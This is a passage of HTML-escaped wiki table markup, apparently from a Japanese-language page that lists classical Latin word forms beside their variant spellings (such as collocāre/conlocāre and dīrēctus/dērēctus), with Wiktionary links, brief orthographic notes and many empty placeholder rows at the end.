| style=&quot;font-size:20pt;&quot; |[[wikt:en:cedentes#Latin|cēdent&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【civis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:civis#Latin|cīv&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:cives#Latin|cīv&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【clientis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:clientis|client&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:clientes#Latin|client&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【cohortis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:cohortis|cohort&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:cohortes#Latin|cohort&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coicere】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coicere|coicere]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conicere|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;icere]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coicerent】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coicerent|coicerent]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conicerent|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;icerent]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coici】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coici|coicī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conici#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;icī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiciant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiciant|coiciant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniciant|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iciant]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiciebant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiciebant|coiciēbant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniciebant|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iciēbant]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiciunt】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiciunt|coiciunt]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniciunt|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iciunt]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiecerant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiecerant|coiēcerant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniecerant|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iēcerant]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiecerunt】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiecerunt|coiēcērunt]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniecerunt|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iēcērunt]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiecisse】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiecisse|coiēcisse]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniecisse|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iēcisse]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiecta】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiecta|coiecta]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniecta|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iecta]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiecti】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiecti|coiectī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniecti|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iectī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【coiectis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coiectis|coiectīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:coniectis|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;iectīs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collatis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collatis|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;lātīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlatis|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;lātīs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collaudantur】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collaudantur|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;laudantur]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlaudantur|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;laudantur]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collaudat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collaudat|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;laudat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlaudat|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;laudat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collaudatis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collaudatis#Participle|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;laudātīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlaudatis#Participle|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;laudātīs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collis#Latin|coll&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:colles#Latin|coll&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocabant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocabant|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locābant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocabant|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locābant]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocabat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocabat|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locābat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocabat|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locābat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocandis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocandis|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locandīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocandis|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locandīs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocant】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocant#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locant]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocant|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locant]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocantur】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocantur#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locantur]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocantur#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locantur]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocarat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocarat|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locārat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocarat|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locārat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocare】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocare#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locāre]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocare|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locāre]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocaret】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocaret|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locāret]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocaret|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locāret]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocari】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocari|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locārī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocari|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locārī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocatas】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocatas|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locātās]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocatas|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locātās]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocati】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocati#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locātī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocati|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locātī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocatis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocatis#Participle|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locātīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocatis#Participle|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locātīs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocaverat】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocaverat#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locāverat]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocaverat#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locāverat]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocavit】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocavit|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locāvit]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocavit|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locāvit]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【collocuti】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:collocuti|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;locūtī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conlocuti|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;locūtī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【colloquantur】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:colloquantur|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;loquantur]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conloquantur|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;loquantur]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【colloquendi】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:colloquendi|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;loquendī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conloquendi|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;loquendī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【colloqui】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:colloqui#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;loquī]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conloqui#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;loquī]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【colloquium】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:colloquium#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;l&lt;/span&gt;loquium]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conloquium#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;loquium]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【communis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:communis#Latin|commūn&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:communes#Latin|commūn&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【compluribus】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:compluribus#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;m&lt;/span&gt;plūribus]]
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |別形 &lt;span style=&quot;font-size:20pt;&quot;&gt;[[wikt:en:conpluribus#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;plūribus]]&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【compluris】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:compluris#Latin|complūr&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:complures#Latin|complūr&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |別形 &lt;span style=&quot;font-size:20pt;&quot;&gt;[[wikt:en:conplures#Latin|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;plūrēs]]&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【comprehensis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:comprehensis|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;m&lt;/span&gt;prehēnsīs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conprehensis|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;prehēnsīs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【comprehensos】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:comprehensos|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;m&lt;/span&gt;prehēnsōs]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conprehensos|co&lt;span style=&quot;background-color:#ff0;&quot;&gt;n&lt;/span&gt;prehēnsōs]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【conantis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conantis|cōnant&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:conantes|cōnant&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【consili】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:consili|cōnsil&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:consilii|cōnsil&lt;span style=&quot;background-color:#ff0;&quot;&gt;iī&lt;/span&gt;]]
| style=&quot;font-size:10pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【difficilis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:difficilis#Latin|difficil&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:difficiles#Latin|difficil&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |形容詞 [[wikt:en:difficilis#Latin|difficilis]] の男女・複数・対格
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【directus】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:directus#Latin|d&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;rēctus]]&lt;!--(正統な古典ラテン語のつづりである dīrēctus)--&gt; 
| style=&quot;font-size:20pt;&quot; |[[wikt:en:derectus#Latin|d&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;rēctus]]&lt;!--(共和政末期から帝政初期（カエサルやアウグストゥスの時代）の銘文を調査すると、この意味（まっすぐな、直接の）では dērēctus（または dērectus）の綴りが圧倒的に優勢 であり、dīrēctus はほとんど見られません。)--&gt;
| style=&quot;font-size:10pt;&quot; |正統的な綴りは d&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;rēctus だが、&lt;br&gt;共和制末期の銘文では d&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;rēctus&lt;br&gt; が圧倒的に多い
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【dubitantis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:dubitantis#Participle_2|dubitant&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:dubitantes|dubitant&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【effarciuntur】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:effarciuntur#Latin|eff&lt;span style=&quot;background-color:#ff0;&quot;&gt;a&lt;/span&gt;rciuntur]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:efferciuntur#Latin|eff&lt;span style=&quot;background-color:#ff0;&quot;&gt;e&lt;/span&gt;rciuntur]]&lt;!--([[w:母音弱化|母音弱化]]による共和制末期の語形)--&gt; 
| style=&quot;font-size:10pt;&quot; |eff&lt;span style=&quot;background-color:#ff0;&quot;&gt;e&lt;/span&gt;rciuntur は[[w:母音弱化|母音弱化]]&lt;br&gt;による共和制末期の語形
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【egredientis】--&gt;
| style=&quot;font-size:20pt;&quot; |[[wikt:en:egredientis#Etymology_2|ēgredient&lt;span style=&quot;background-color:#ff0;&quot;&gt;ī&lt;/span&gt;s]]
| style=&quot;font-size:20pt;&quot; |[[wikt:en:egredientes|ēgredient&lt;span style=&quot;background-color:#ff0;&quot;&gt;ē&lt;/span&gt;s]]
| style=&quot;font-size:10pt;&quot; |
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;


|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:20pt;&quot; |
| style=&quot;font-size:10pt;&quot; |&lt;span style=&quot;background-color:#ff0;&quot;&gt;&lt;/span&gt;
|- style=&quot;font-family:Times New Roman;&quot; &lt;!--【】--&gt;
| style=&quot;font-size:20pt;&quot; |
